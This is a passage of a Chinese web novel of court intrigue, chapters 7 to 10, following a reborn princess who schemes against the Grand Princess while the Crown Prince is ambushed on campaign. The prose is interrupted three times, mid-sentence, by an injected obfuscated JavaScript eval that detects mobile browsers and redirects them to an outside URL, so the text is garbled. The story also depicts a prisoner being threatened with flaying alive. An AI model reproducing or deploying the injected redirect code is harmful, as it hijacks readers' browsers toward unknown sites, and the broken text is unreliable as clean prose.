她抬脚碾上他的另一条腿,盈盈笑问,“你只有两条腿,还想说几句废话?” 男人额头冒出了冷汗,愤怒又不甘地瞪着她,咬着牙一字一顿道:“太、子、殿、下。” 他重重呼出一口气,而后似乎用尽了全身剩余的力气,张狂喝道,“老子没有刺杀你婆娘!” * 此言一出,四周陷入诡异的寂静。 晏绥的眉尖微微拧起,沉沉掀起眸,看向地上的人。 东宫的侍卫皆是由徐谨行带出来的,一脉相承了他在人前不苟言笑的作风,站得老实笔直,像是什么都没听见一样。可旁边那些个暗卫就全都是一副没有见过世面的模样了,他们的神情看起来大为震撼,平日里他们各自在外执行任务,竟不知东宫何时出了这么大的事情,他们那冰清玉洁的殿下,竟然已经悄悄有了婆娘? 徐谨行冷声质问:“何人说你刺杀郡主?” “你们的人将老子追得如丧家犬一般,这会儿又何必明知故问?” 男人冷笑起来,似乎已经预见了自己今日的结局,索性彻底破罐子破摔发起狂来,“晏绥,你婆娘房里的火不是老子放的,你们休想凭一块牌子来定老子的罪!她连半夜爬进自己卧房的男人是谁都搞不清楚,老子看你头顶也是绿得发慌!老子虽不是什么正人君子,但也敢作敢当,今日就是死在这里,没做过的也是没做过,要杀要剐随你们便是!” 男人的言辞实在太过粗鄙,又当众侮辱郡主,讥讽殿下,众人听得心惊肉跳,表情各异,纷纷暗自侧目看向马上的人。 晏绥居高临下看着地上的男人,峻冷脸上阴晴莫测。 昨夜被派去长公主府的暗卫来回话时说,火是从郡主的卧房燃起来的,并未发现有外人进入。可面前的人却说,有人在夜半时潜入卧房刺杀郡主,并留下了南呈的令牌嫁祸于他。 谁在说谎? 晏绥黑眸微凛,眼前隐约浮现出昨晚那张楚楚可怜的白皙脸庞。片刻寂静之后,他忽然意味不明笑了一声:“你当然会死。” 他的话音轻飘飘落下,语气漫不经心,却无端令人不寒而栗。男人方才还恶狠狠嚣张撂下狠话,此刻对方开口,他才终于有了几分的紧张。 当今天下无人不知,大昱的皇帝仁善,太子却残酷。无论是本朝的贪吏还是别国的刺客,就算是死了的人,他都能从阎王爷手里把人折磨得活过来,吐出他要的东西,落到他手上才是真正的求生不得,求死不能。 “方才你犯了孤的名讳两次,且屡屡出言不逊,侮辱大昱储妃。” 马背上的人高高在上,慢条斯理道,“专程送你的尸身回京城太不值当,将你晾在这荒郊野岭又不符合我大昱的待客之道。” 男人死死盯着马上的人,明明对方的神色平静,看不出任何发怒的迹象,他却只觉得有股无形而强烈阴冷感将自己层层裹挟,压迫十足,挥之不去。 晏绥轻描淡写继续道:“你既说储妃房中的视线不好,让她连刺客的脸都看不清楚,那孤就用你给她做盏灯笼吧。” 地上的人瞬时瞳孔巨震,一旁的少女收起刀,笑意吟吟称赞道:“殿下此法甚好,那人皮灯笼需得新鲜活剥的才最柔韧,此事放心交给我和阿巳!” 被唤作阿巳的暗卫是个年纪与她差不多大的清秀少年,他从怀里掏出一个布包抖开,一套匕首由小至大整整齐齐排列,他面无表情走向地上的人,男人张着嘴,脸颊上的横肉因为极度的恐惧而颤抖起来,方才的凶狠狂妄早已不见踪迹,色厉内荏的本质在这一刻暴露无遗。 晏绥眸底掠过轻蔑,随后收起视线,将手里的牌子扔给身旁的侍卫,驭马从地上人的身上跨了过去。 其他人也纷纷跟上,一时之间尘土飞扬,男人狼狈到了极点,像条虫一样扭曲躲避着被踩到,但还是被马蹄踏了几脚。他抱着头蜷倒在地,少女一把拎起他的后领,阿巳面无表情挑选着合适的匕首,少女拍拍男人的肩膀,微笑安抚他:“你且配合些,莫要乱动,若是我们整张皮剥下来,你今日也算是福气好,留下全尸了嘛!” 男人面色惨白惨笑了一声,那脸色比哭还要难看。冰凉的刀刃抵到他脖子上,他终于彻底崩溃,在求生的本能驱使之下慌不择路大喊:“我曾在桃源驿看到凉昭使臣与大昱朝中之人私下会面!” 可为首的人却没有回头,甚至连脚步都没有停一下。 阿巳的匕首在他颈前停了停,见殿下并不感兴趣他的情报,毫不迟疑下手挑开皮肉。 他的手法相当高明,一刀划下去只见肉不见血,可刀尖趟过皮肉的冰凉触感却是真实得不能更真实了,男人双眼瞪大,瞳孔浑浊紧缩,额角的青筋爆起,声嘶力竭喊破了音:“他们在路上设了伏,要阻止你前去凉昭!!” 8. 第 8 章 京城。 裴旖沐浴过后,到淑贵妃宫中请安。 当今圣上的原配夫人是太子的生母,多年前死于战乱之时。夫妻二人伉俪情深,皇帝登基后追封原配妻子为宣仁皇后,始终没有再立新后,如今后宫之事均由贵妃掌摄。淑贵妃出身虽低微,性情却大方端和,皇帝对她虽称不上宠爱,却也相敬如宾。她膝下只有公主一女,晏然又是个活泼好动的,整天往宫外跑,因此她很是喜欢裴旖的沉静稳重。 她拉着裴旖的手到身边坐下,关切询问着昨夜的情况。裴旖一一应答,在听到最后在废墟中发现令牌时,淑贵妃蹙了下眉,沉吟道:“此人在被你发现时匆忙逃走,看这反应倒不像单单是为了刺杀而来。” 明眼人都看得出来,郡主手无缚鸡之力,刺客既能成功潜入郡主的卧房,说明武艺不凡,即使是惊醒了卧房里的人,也没有放弃刺杀落荒而逃的道理。 “娘娘睿智,臣女也是这样以为,因此臣女越是细想起来,越是觉得惶恐。” 裴旖面露几分踌躇愁容,“若对方此举意为刺杀,只需加强守备便好。可若对方还有其他目的,他们在明,臣女在暗,只恐是防不胜防。” 淑贵妃抚着她的肩膀宽慰道:“你昨夜所受惊吓不小,切莫再劳心伤神。倘若对方真的另有所谋,也无非是想通过你来算计东宫罢了,此事多思无益,只待将人找到后便可真相大白了。” 裴旖点了点头,垂下眼轻声道:“多谢娘娘关怀,如今太子殿下征战在外,臣女也是实在不愿因己生故牵连到东宫,使殿下烦心。” “你懂事,本宫自然是知道的。只是眼下阿绥不在京中,你需先将自己顾好,他在外才能真正安心。” 淑贵妃慈爱道,“这段时间你且在然儿宫中安心住下,外面的事自有你哥哥去处理。待阿绥从凉昭回来后,你们两个的婚事也该提上日程了。” 裴旖装作害羞抿唇轻笑了笑,身旁人继续笑着抱怨道:“本宫只有这一双儿女,然儿整天惦记着往外面跑,连个影子也抓不到。阿绥的性子沉,宫里事情又多,本宫是满心希望你快些嫁过来,一来能时常来陪本宫说说话,二来也能规劝着阿绥些,叫他别再总是闷在政务里。” 裴旖柔声恭维:“殿下一心为了大昱,将来定是一代明君。” 淑贵妃微微笑了下,有些感慨叹道:“阿绥这孩子不容易,只有幼年时过了几天安稳日子。皇后去世得早,从那之后他便无人照看,小小年纪跟着晏军一路征战南下,数次险些丧命。有一次他中毒后昏迷了半月有余,差一点就彻底醒不过来了,幸亏他命大,才走到今日。” 裴旖默默听着对方的话,眼前浮现出那张冷漠倨傲的面孔。 从前她只听说他从小就待在军营,年少时便已展现出过人的用兵天赋,却不知这一切原来是始于他母亲的离开。 “阿绥虽然看起来面冷,其实心肠却软,对待这几个弟弟妹妹与他手底下的那些人都是很好的。” 淑贵妃抚了抚她的手背,语气轻松笑道,“外面那些人是唯恐天下不乱,都将阿绥给传得疯魔了。他啊,全都是吃亏在了这张冷冰冰的脸上,有本宫给你撑腰,你可莫要怕他。” 裴旖附和道:“传言不可信,臣女只相信眼见为实。虽然臣女与殿下相处的机会不多,但也看出殿下是重情明理之人。” 对方似乎是觉得她的回应得体,满意点点头,接着又道:“你们两个本应是一起长大的青梅竹马,原该是最亲近的,奈何世事无常。如今你才回来不久,定是舍不得这么快就嫁人离家,好在现下阿绥最快也要一年半载方能回京,你们的婚事还有时间,可以慢慢准备。” 两人又说了半天的话,午膳之后裴旖起身告辞,贵妃叫人用食盒装上了她爱吃的点心。 回到公主宫里时,正巧青霜也刚从宫外回来,说药方已经交到了顾老板手上,并交代了是郡主所需,让他们加急将药凑齐配出来。 裴旖嗯了声,不着声色瞟一眼她的鞋子,丝绸的鞋面些许洇湿,上面沾着几粒突兀的潮湿花土。 上京这几日都是晴天,只有她的别院因为昨夜那场火湿漉泥泞。 她敛起眸,淡淡问:“你方才回府上了?” 面前的人浑然不觉她的试探,一脸兴奋道:“奴婢心里惦记着昨夜之事,路过时便回去了一趟,听小福子说,那刺客已经找到了!” 裴旖心里一惊,侧目望过来:“是何人?” 青霜回道:“那个刺客是南呈的探子,可惜让他给逃了。不过世子已经派人去追了,也搜过了他住的客栈,约莫这两日便能有消息了。” 裴旖暗忖,郡主的卧房中发现敌国的令牌是大事,此事既有东宫旁观且已经惊动了皇上,长公主府势必要对外给出一个说法来,现下看来,他们是打算找一个替死鬼出来顶罪了。 而找到这个替死鬼后,接下来的事情就好办多了。他们既可以杀了这个探子对外宣称刺客已经死亡,也可以逼迫这个探子来指认她是同谋。 身旁青霜絮絮叨叨又说了许多话,裴旖沉沉望着窗外,出神想着自己的心事。 长公主很快会再次对她下手,眼下太子已经离京,她暂时是用不上他的人了,但是他的身份,或许还可以借她一用。 她的视线隔着院子的花丛望向远处的天际,云影层层叠叠,沉甸甸好似压在心头一般,阴郁得化不开。 许久,她收起目光,沉静开口:“明日,去一趟东宫。” * 夜深露重,一行甲胄鲜明的兵马正在有序行进。 山间的道路崎岖而狭长,路的两边都是密林,枝叶错综交错,形成了一道天然的屏障,隐蔽而幽深。 蓦地,风动林间,枝叶摇曳间,似有暗流涌动。顷刻间,数十道黑影如鬼魅般自林间窜出,皆是刺客装扮,每一个都眼神凌厉,手持利刃闪烁着寒光。徐谨行拔出腰间的剑,沉声命令:“护驾!” 侍卫迅速形成一道人墙围住了队伍正中的华贵马车,一时之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930952|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀剑相撞,金铁交鸣之声此起彼伏,犹如狂风骤雨般激烈,混乱之中,一名刺客从树上一跃而下,猛地劈开马车的帘幕,却发现车厢内竟空无一人。 他眉目一锁,意识到中计,低低呼了声:“不好!” 一声短促的口哨响起,其他的刺客听到声音,全都迅速收了兵刃,正欲后撤之时,黑色的短剑宛如骤起的雨幕般从四面八方向他们袭来。 那短箭的速度实在太快,一半的刺客来不及反应,中箭后立刻毒发倒地身亡,另一半的人提刀险险挡住了这一波攻击,但还不等他们喘一口气,紧接着十来个暗卫从天而降,使的全都是他们从未见过的奇形怪状的兵器,招招狠戾致命。 他们无从破局,只能勉强招架着对方碾压式的攻击,不过半柱香的功夫,数十名刺客就只剩下为首的一个活口。他被暗卫紧逼着狼狈后退,突然从袖口里翻出把匕首,扬手猛地插进自己的脖子,刀刃从前喉笔直穿透后颈,瞬时鲜血四溅,高大身躯扑通一声向后栽了下去。 阿卯靠在刀上颇为可惜地啧了声,但没办法,谁叫他们殿下声名在外,吓得最近前来刺杀的人都不敢搞饮毒自尽那一套了,一个个自刎起来的手段干净又利索,一点活气儿都不带给自己留的。 她俯身从刺客手上抽走了匕首,转身快步走向人群,将匕首呈了上去。 晏绥骑在马上瞟了一眼,峻冷脸上面无表情,仿佛眼前的状况早在他的预料之中:“不是璟王的人。” 同一时刻,上京,璟王府。 “都安排好了?” 男人的声音温润如玉,一如他的面庞俊朗轩昂。他看起来约有三十多岁,身着一身青白色的锦袍,长身玉立,气度翩翩,月光映照下,清朗得宛若九天之上的谪仙,可惜这样一位清风霁月的人,却双腿残废,坐在一辆精美华贵的舆车上。 回话的是个身材纤细的年轻女子:“属下遵照殿下的吩咐,人证物证均已安排妥当。” 璟王嗯了一声,腔调凉薄慵懒:“此事越快越好,免得夜长梦多。她竟神不知鬼不觉与东宫搭上了关系,是本王小瞧她了。” “郡——” 女子顿住声音,而后又低声道,“裴姑娘毕竟年轻貌美,太子若是一时起了怜香惜玉之心,也是有可能的。” 璟王哂笑一声,仿佛听到了什么可笑的事情:“怜香惜玉?” 他逗弄着笼子里的鹦鹉,声音悠悠道,“本王这个侄子,与本王的好皇兄一样,是断不可能怜香惜玉的。他肯帮她,想来也是与本王一样,打算利用她罢了。” 女子谨慎揣测着:“属下担心,太子会不会是察觉到裴姑娘的身份有异了?他会不会已经知道了,真正的郡主另有其人?” 璟王眉目间闪过一瞬阴戾,还未等回话,厅外一个侍卫快步走了进来,俯身在他耳边低语了一句什么,他听后脸色瞬间更加冷冽:“你说什么?” 侍卫低着头,沉声重复道:“长陵姜家的人刚刚传来消息,郡主不见了。” 9. 第 9 章 翌日,东宫。 午后的天色有些阴郁,云层遮住日光,显得东宫朱红色的大门都晦暗了几分。 接待裴旖的人是东宫詹事梁循正,他的年纪稍长晏绥和徐谨行几岁,为人一贯刻板沉稳,不苟言笑。他一面引着裴旖走向客室,一面敬声询问:“不知郡主今日前来所为何事?” “前日我来为殿下送行,与殿下说好了将那套《太平经》借我抄写,可惜我离开时正赶上徐统领来禀报军情,走得匆忙,两个人都忘记借书这回事了。” 裴旖弯唇笑了下,“能否劳烦詹事替我去书房取一趟?” 梁循正没有立即答允,眼神里带上微微的探究。 面前的人是未来的太子妃,按理说他不应该疑心她的话,可一来殿下待她的态度一向冷漠,而这套经书对于殿下却意义非凡。二来依着殿下的脾性,他的东西只有送出去的,从来没有借出去过的,怎会突然为她开了先例? 见他迟迟没有应声,裴旖轻叹口气,面色自若道:“幸而前日我没有将这套经书带回府中去,否则此刻只怕是已经烧得面目全非了,我都不知该如何向殿下请罪。” 虽然梁循正对她的话相当存疑,但闻言还是客套道:“长公主府出了这么大的事,相比经书,殿下一定更关心郡主的安危。” 裴旖垂睫微微笑了下,拿捏出几分恰到好处的娇羞:“殿下担心刺客会伺机再次行刺,因此临行前特意请公主接我入宫。昨日与公主进宫时,我原是想直接来东宫取书的,但一来还要先去给贵妃娘娘请安,二来公主前日亲自送殿下出城,整夜未眠,甚是疲累,我不好因为这种小事再去叨扰公主,因此就只能来劳烦詹事了。” 这一番话真假掺半,她与晏绥见面时只有徐谨行在场,眼下这两人都不在京中,那晚之事就相当于死无对证,随她怎么杜撰,反正面前的人也无法验证。再者退一步说,就算她再不受晏绥待见,她也好歹还是个郡主,又有准太子妃的名头在身上,梁循正沉默半晌,最后道:“请郡主稍等片刻。” 裴旖在椅子上坐下,不到半盏茶的功夫,对方亲自捧着几盒经卷归来,小心翼翼放到了桌案上。 她端着茶杯掀眸看过去,那晚她也是偶然在晏绥的书架上瞥到这套经书的,当时她看这套书被精心收在暗红色的精致锦盒里,又是放在架子最高的位置上,想来对主人的意义一定深重,这也是她选择借这套书的原因。 裴旖道了声谢后站起身,拿起一个盒子暗暗掂了掂,比她想象得要更重一些。她眼神示意青霜,与对方各自捧起两盒经书,告辞离开了东宫。 梁循正目送着主仆两人离开的背影,不知为何,忽然莫名觉得郡主似乎并不像平日在人前所展现出的那般简单,可又一时说不出个所以然来。 他收起视线,转头问身旁常跟在殿下身边的近侍:“南风,前晚郡主来见殿下时,说了些什么你可有听到?” 对方摇摇头,回话道:“没听到。不过那晚郡主与殿下两人在书房聊了很久,在郡主离开之后,殿下还特意派了暗卫去长公主府保护她。” 梁循正闻言震惊不已,与这番话里的信息量相比,郡主方才来借书简直就是小打小闹。他实在无法想象,殿下肯留下郡主聊天已经是闻所未闻,更不可思议的是,殿下竟然会派暗卫去保护她? 上京城中无人不知,东宫的十二个暗卫是殿下亲手带出来的人,武功高深,各怀神通,在京城内外神出鬼没,专为殿下刺探朝廷要案,甚至坊间有戏言,官员升到三品后的第一件事就是要将府邸的房顶修缮牢固,随时准备迎接东宫暗卫的拜访。连三品以下的官员府邸都尚且不配被东宫的暗卫踏足,如今竟会被一向公私分明的殿下派去给郡主做护卫,难不成殿下是真的对郡主动心了? 梁循正面沉如水,忧心不已。 郡主年轻貌美,纵使眼下殿下因为长公主的原因冷落疏远她,可若是两人成婚后朝夕相处的时日长了,殿下难保不会动心。倘若长公主和璟王也算准了这一点,日后岂非是祸患? 但他思来想去,又觉得殿下即使沦陷也不应该沦陷得如此之快:“你确定殿下派人过去,是为了‘保护’她?” 而不是监视她? 南风的年纪不大,十四五岁的少年模样,眼神清澈而笃定:“确定啊,殿下其实很在意郡主的,郡主每日做了什么他都要知道,不仅派人暗中护她周全,她的事还不放心让别人插手,他要回京亲自处理。这些全都是我亲耳听到的。” 梁循正依然不死心,紧紧盯着他的脸:“殿下原话怎么说?” 南风老老实实复述:“‘阿辰,你去长公主府看她每日都与什么人见面。若有不测,无需干预,但别叫她死了,一切等孤回来再说。’” 梁循正:“…………” 他表情嫌弃地看着面前一脸无辜的少年,同时终于放下心来。 不愧是他们殿下。 也不愧是他们殿下亲自选拔出来的人才。 就按照南风这个顶级的理解能力,即使是被他听见了什么高等机密,经他的嘴传出去也得变成市井八卦。 梁循正拍拍他的肩,语重心长劝道:“南风啊,以后晚上睡觉之前少看话本,多读书。” 南风木木应了一声,转身收起桌上郡主的茶杯,端着走在路上好半天还在纳闷儿,詹事是怎么知道他昨晚刚刚熬夜看了话本的啊? * 裴旖抱着经书在皇宫中招摇过市,不出半日,连宫里的蚂蚁都知道太子借了一套他收藏多年珍惜无比的经书给郡主,还放心不下她的安危在临走前特意让公主接她入宫,直到安顿好了一切才带着她所赠的信物恋恋不舍启程上路。 裴旖对这个版本的故事很满意,演起来也格外入戏。眼见天色越来越暗,乌云阴沉沉压在头顶,一副风雨欲来的架势,裴旖觉得今日也差不多可以收工了,她抱紧怀里的盒子加快了脚步,可还有没走出几步远,忽起一阵疾风卷起她的裙摆,紧接着雨珠接连不断落了下来,滴在脸颊和脖子上冰凉又粘腻。 裴旖微微蹙了下眉,青霜四下环顾,提议道:“郡主,那边有个亭子,咱们过去避一避吧!” 看这雨势来势汹汹,她们根本来不及回去公主宫里。再说人淋湿了事小,经书被淋湿可就麻烦了,裴旖用衣袖护住怀里的盒子,点点头:“好。” 两人一前一后快步走向凉亭,因为脚步太疾,裴旖的呼吸些微有些喘,长发也有些凌乱。她心里顾着保护怀里的经书,一路低头留心着脚下湿滑,直到爬上台阶后,才后知后觉看到亭子里有人,而且不止一位。 其中一名男子身着白色锦袍,气质清朗,面容俊逸,五官与长公主有几分相似,任谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930953|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看都是风度翩翩玉树临风的优雅贵公子,只可惜他的腿不能走路,坐在一辆精美的舆车上。 另一名男子的年纪则明显要轻一些,看起来与晏绥相仿,只是身量要瘦上许多。他的五官虽不及身旁的人出色,却也端正如玉,尤其面相和气质十分和善,令人不自觉心生亲近之意。 裴旖有些意外竟在此处遇见这两人,她不着声色沉了沉眸,上前施礼道:“舅舅,表兄。” 璟王的目光在她怀里的盒子上短暂停留,眸光轻不可察暗了一瞬,而后扬唇笑道:“方才远远见你匆匆走过去,我还想着差人去给你送伞,没想到你也过来这里避雨了。” 亭子外的雨越下越大,沿着亭檐滚落下来,连成了雨幕。 裴旖放下怀里的盒子,在石凳上坐下,淡淡笑道:“我出门时天还是晴的,没想到去东宫取个书的功夫就变成这样了。” “上京的春天就是这样,雨来得快,散得也快。倒是阿绥,从前是最护着自己的东西的,他的东西旁人多看一眼都不成,如今也终于舍得拿出来哄人开心了。” 璟王转头笑着揶揄身旁的人,“到底是从小就有婚约在身的表妹,你这个堂弟可就差点儿意思了。小时候因为动了阿绥的东西,你们两个没少打架吧?” 晏洵听言笑了笑,拿自己打趣道:“皇叔又抬举我了,不是打架,是太子打我,我手臂上现在还留着那时的疤呢。” 亭子下的几个婢女听言都抿起嘴偷乐,裴旖也礼节性地弯了弯唇,视线漫不经心掠向面前的舆车。 璟王与长公主是同母所生的姐弟,关系一向十分近密。上一世她在大牢里受尽酷刑惨死,璟王必然也有参与,甚至还很有可能是主谋,因为毕竟一旦他们姐弟篡权成功,璟王才是最大的利益获得者。 他们姐弟二人费尽心机布下这个局,无非还是忌惮晏绥。此刻他们忽然见她与东宫攀扯上关系,也不知是会先留下她一条命另做他用,还是会更加急不可耐地置她于死地? 裴旖沉下眼睫,有些出神,直到身旁的人叫了她两声她才听到。 她恍惚抬起脸,晏洵笑问:“待会儿雨停后我和皇叔要去向太后请安,你昨日刚入宫,可要与我们同去?” 裴旖回过神来,淡声笑道:“那自然是好,我也正想着过去呢。” 几人又闲话了几句,亭子外的雨渐渐停了,夜幕无声无息降临,给这座涌动在权力中心的华贵宫城披上一层寂静的暗色。 三人先后行至福宁宫,穿过游廊进入殿内,透过氤氲满殿的檀香气,裴旖敏锐觉察到室内的气氛有些凝重。 晏家原有五位子女,晏洵的父亲为长子,当年死于沙场之上,与长公主和璟王同为先皇的原配夫人所出。而当今皇上为晏家次子,和幼妹同为先皇的妾室所出。 先皇的这两位夫人都去世得早,没能等到晏家一统天下的那一日。如今的太后是先皇原配的亲妹妹,多年来膝下无子,对这些晚辈一向慈爱,可此刻却神情严肃,在几人行过礼后,她的面色才稍霁,向裴旖招了招手。 裴旖轻移上前,太后拉过她的手拍了拍,轻叹口气:“好孩子,你莫要吓到。” 裴旖不明所以,站在太后身后的女官静声道:“方才东宫的人传书回来,昨夜行至青峰关时大军遇到伏击,太子殿下身中毒箭昏迷,现下状况不明。” 10. 第 10 章 屋子里的几人听言皆是一怔。 裴旖震惊之余,余光瞥向璟王,只见对方眉宇稍沉,迅速发问道:“刺客的身份可知道了?” 女官回话:“信中没有提及。” 他又问:“那太子可要回京中医治?” 女官否定:“为稳军心,殿下会继续前往凉昭。” 房间内一时陷入寂静,众人各怀心事不语。 裴旖垂着眼睫静默,太后拉着她的手,慈声宽慰道:“太子身边有精通医术之人,他们既决定继续行军,定是暂无大碍。” 裴旖暗暗觉得可惜,于她而言,晏绥此番若是状况严重倒还更好,只要他别真的死了,还有一口气能撑着他提前回京就成。 眼下的状况是,只有她一人知道潜入她房中的刺客根本是子虚乌有,而长公主找来的替死鬼随时可能登场。事到如今,与其提心吊胆等长公主出招,还不如她先将这件事的影响扩大,至少是在外人面前,将她和太子的利益捆绑到一起。只有此刻她作为受害者的形象越深入人心,待来日其它的诬陷落到她头上时,她才越有周旋的余地。 裴旖敛了敛眸,轻声回道:“殿下福泽深厚,定能化险为夷。只是幼安方才忽然想到,昨日刺杀殿下之人,与前日夜里来行刺幼安的人,是否可能为同一批人?” 此言一出,殿内几人纷纷无声向她望过来。太后沉吟着半晌未语,璟王的眼眸深暗,沉沉压着几分难以察觉的探究。 片刻之后,晏洵先开口道:“郡主的揣测不无道理,太子殿下才刚离开京城,就先后出现了两次行刺,倘若此事真如郡主所言,那对方显然是冲着储君而来,意在动摇我大昱根基。” 停顿半瞬,他接着若有所思分析道,“而且那日行刺之事,细想之下也颇有蹊跷,若是对方存心刺杀郡主,必然会派一位武艺高强的死士前来,怎会犯下遗落令牌暴露身份这般低劣的错误?难道是有人假扮南呈的刺客,想要故意挑起大昱与南呈的矛盾?抑或是这背后还有什么更大的阴谋,对方想通过对郡主做出某些事情来,用以牵制东宫?” 裴旖抬起眸深深看他一眼,有些意外他竟然从目前半真半假的线索中一语道破真相。有他这样一番分析,她原本想要塑造的无辜受害者形象就更加成立了,她装作诧异又困惑道:“可是我才回到京城数月,即使是与殿下有旧时的婚约在身,又有什么能为人所用的呢?” 晏洵安慰道:“诡计人心,最是难测,我这些也只是猜测而已,待世子将刺客抓回来后,一切便可水落石出了。” 一旁久未开口的璟王沉声打断两人的话题:“行刺皇族之事时有发生,倒也不必过分紧张。眼下最要紧的还是太子的伤势,既在信中不便言明,想必实际状况更为严峻,儿臣以为应派人前去一探究竟。” 语毕他抬眼望向太后,似乎是希望对方能出言支持自己。裴旖看着他的脸,隐隐觉得古怪,她能明显感受到面前人对晏绥遇伏一事的疑心,似乎他并不相信对方会如此轻易地身负重伤。 她心中不禁暗忖,倘若设下埋伏的人是璟王,此刻刺客应该已经将真实情况回禀给他了才是。若是设下埋伏的人不是他,那也就意味着,宫中另有他人想要置太子于死地? 太后惆怅叹道:“哀家年纪大了,整日为孙辈悬心却又做不了什么,待会儿哀家要去琼华殿烧香,这些事你去与皇帝商议便是。” 屋内的几人听言忙出言劝慰,唯有裴旖,黑眸隐晦地盈盈一亮。 她静立在太后身旁,待对方被哄得面色稍微和缓时,开口道:“眼下幼安暂住在宫里,料想刺客一时也不会再有动作,可殿下才刚启程就遭遇埋伏,这一路上的艰难危险可想而知。” 她向后退一步,跪在太后身前,诚恳请求:“请太后准许幼安在琼华殿抄写经书,为太子殿下与我大昱将士祈福。” * 那日之后,裴旖早出晚归,接连五六日都留在琼华殿内抄写经书。 淑贵妃派人来送过几次水果和点心,还在晚膳后与皇帝一起来过一次。两人看着桌上密密铺满的纸张,每一张上的字迹都清晰工整,足可见抄经之人的诚意。 皇帝对此举甚是赞赏,一时之间宫内外传开此事,为讨圣上欢心,家中有女儿的官员们也纷纷效仿,更有甚者特意请求皇帝准许自己的女儿也到宫中抄经,以习郡主的贤淑之德。 裴旖听到后哭笑不得,问青霜是哪家的贵女。青霜正要答话时,两人身后蓦然响起一道熟悉的女声:“阿旖,我来陪你啦!” 主仆二人循声回过头。来人与裴旖年纪相仿,容貌甜美而娇俏,着一身浅鹅黄色衣裙,在婢女的陪同下踏入殿中。 裴旖愣了一下,意外又惊喜,连忙放下手里的笔要起身迎她,而谢颜已经小跑至她身旁坐下,双手亲热拉起她的手,倾身笑着与她说话的模样与上一世一模一样。 午后的日光透过窗棱照在少女圆润莹白的脸颊上,裴旖细细看着面前的少女,有一瞬深深的恍惚。 对于谢颜来说两人只是几日未见,可这一幕对她而言,是真真切切的恍如隔世。 谢颜没有发觉她的异样,自顾自絮絮念道:“自从你别院失火后我一直惦记着去看你,可没想到你却先进宫了……进宫了也好,你都不知道外面现在吵得有多厉害!司天监忽然上奏说天相突变,应速昭太子回宫,然后当日太子遇伏受伤的消息就传了回来,群臣分成两派吵个没完……这几日不管走到哪里都是在争论这件事,我听得都烦死了,就求了爹爹让他想办法送我进宫来陪你啦……” 裴旖怔然听着她的话,慢慢回过神来。谢颜用力握了握她的手,凑近了压低声音揶揄道:“我说你这人可真是口是心非,平日里总是跟我说太子这不好那不好,怎的他负伤了你这般惦念,人瞧着都清瘦了不少?” 裴旖苦笑一声,未答反问:“司天监是怎么说的?” 谢颜眼珠转了转,用力回想着:“什么星遇上相克的什么星的,我是没记住,反正就是主大凶,宫中恐生变故,必须得太子回来亲自坐镇化解。” 裴旖听言微微敛眸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930954|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天相之说与太子遇伏这两件事一前一后发生,未免也太巧合了些,很难不让人联想到是背后有人在推动此事。可倘若这两件事是同一个人安排的,此人如此希望太子回京,目的又是什么? 她一时间想不出个所以然来,面前人扯了扯她的手指,问她:“你希望太子回来嘛?” 她心不在焉脱口道:“希望。” 可是按照上一世的走向,晏绥是不会回京的。这一世,凭她目前所做出的这些改变,会影响到他的决定吗? 谢颜笑道:“那你幸好进宫来了,否则跟你哥哥在家里有的吵呢。” 这在裴旖的意料之中,陆从周的背后是长公主和璟王,自然是不希望太子回京。不过这也恰好说明了,在璟王之外,还有一伙势力处在暗中。 这个人隐藏得比璟王要深得多,甚至直到上一世晏绥从凉昭回来后也只是囚禁了璟王和长公主,此人从始至终没有流露出任何痕迹。 如此一来,站在晏绥的立场,此事便陷入进退两难。 去凉昭,会有人将他拖在边境,难以抽身。而回京城,等待他的是另一场未知的阴谋,结果可能是赢,也有可能比上一世更加惨烈。 但裴旖还是希望他回来。 她最痛恨的人是长公主,她只需借助晏绥的力量完成她的复仇就够了,权力博弈是他身为太子该面对的问题,与她无关。 她抬起脸,淡淡笑了下:“我听说哥哥已经查到了失火那日的刺客,但人却一直没有抓住,这几日可有进展?” 谢颜摇摇头,随手拽过来桌上的一张纸,拿起笔道:“这几日姨母的心情看起来不是太好,大概也是这个缘故。” 裴旖心里冷笑,没能像上一世那样顺利将她送进大牢,风光迎回真郡主,长公主的心情当然好不了。 可惜这一世她会活到最后,长公主的心情怕是永远也不会好了。 谢颜临摹着她的手稿,半晌,忽然咦了一声,转而又笑着打趣道:“你还真是诚心,到底是写给菩萨看的,连字迹都跟你平日里写得不一样了,看起来更硬朗俊俏了,像是小公子写的呢。” 裴旖微微扬了下唇,也拿起笔。 